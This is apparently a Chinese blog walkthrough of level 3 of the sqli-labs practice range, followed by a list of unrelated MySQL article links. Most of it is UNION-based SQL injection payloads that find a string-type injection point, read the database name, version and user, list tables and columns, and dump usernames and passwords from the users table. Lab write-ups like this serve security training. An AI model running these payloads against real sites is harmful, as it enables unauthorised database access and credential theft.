SQL注入sqli_labs靶场第三题

?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据报错信息判断为单引号带括号注入

联合查询:

猜解列名

?id=1') order by 3--+

判断回显点

?id=-1') union select 1,2,3--+

爆库、版本号、权限

?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,user()--+

爆表、爆列

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1') union select 1,2,(select group_concat(username,password))from users

相关推荐
Brookty2 小时前
【MySQL】基础知识
后端·学习·mysql
朝新_2 小时前
【MySQL】第四弹——表的CRUD进阶(二)数据库设计
数据库·mysql
大学生小郑3 小时前
Go语言八股之Mysql事务
mysql·面试
xmaaaa4 小时前
MySQL调优步骤
数据库·mysql
不剪发的Tony老师4 小时前
SQLPub:一个提供AI助手的免费MySQL数据库服务
数据库·mysql
闪电麦坤955 小时前
SQL:MySQL函数:条件函数(Conditional Functions)
数据库·sql·mysql
荔枝吻5 小时前
【抽丝剥茧知识讲解】引入mybtis-plus后,mapper实现方式
java·sql·mybatis
恪心与java5 小时前
mysql
数据库·mysql·oracle
范纹杉想快点毕业5 小时前
以项目的方式学QT开发(三)——超详细讲解(120000多字详细讲解,涵盖qt大量知识)逐步更新!
c语言·开发语言·c++·qt·mysql·算法·命令模式
古拉拉明亮之神6 小时前
Spark处理过程--案例数据清洗
大数据·mysql·spark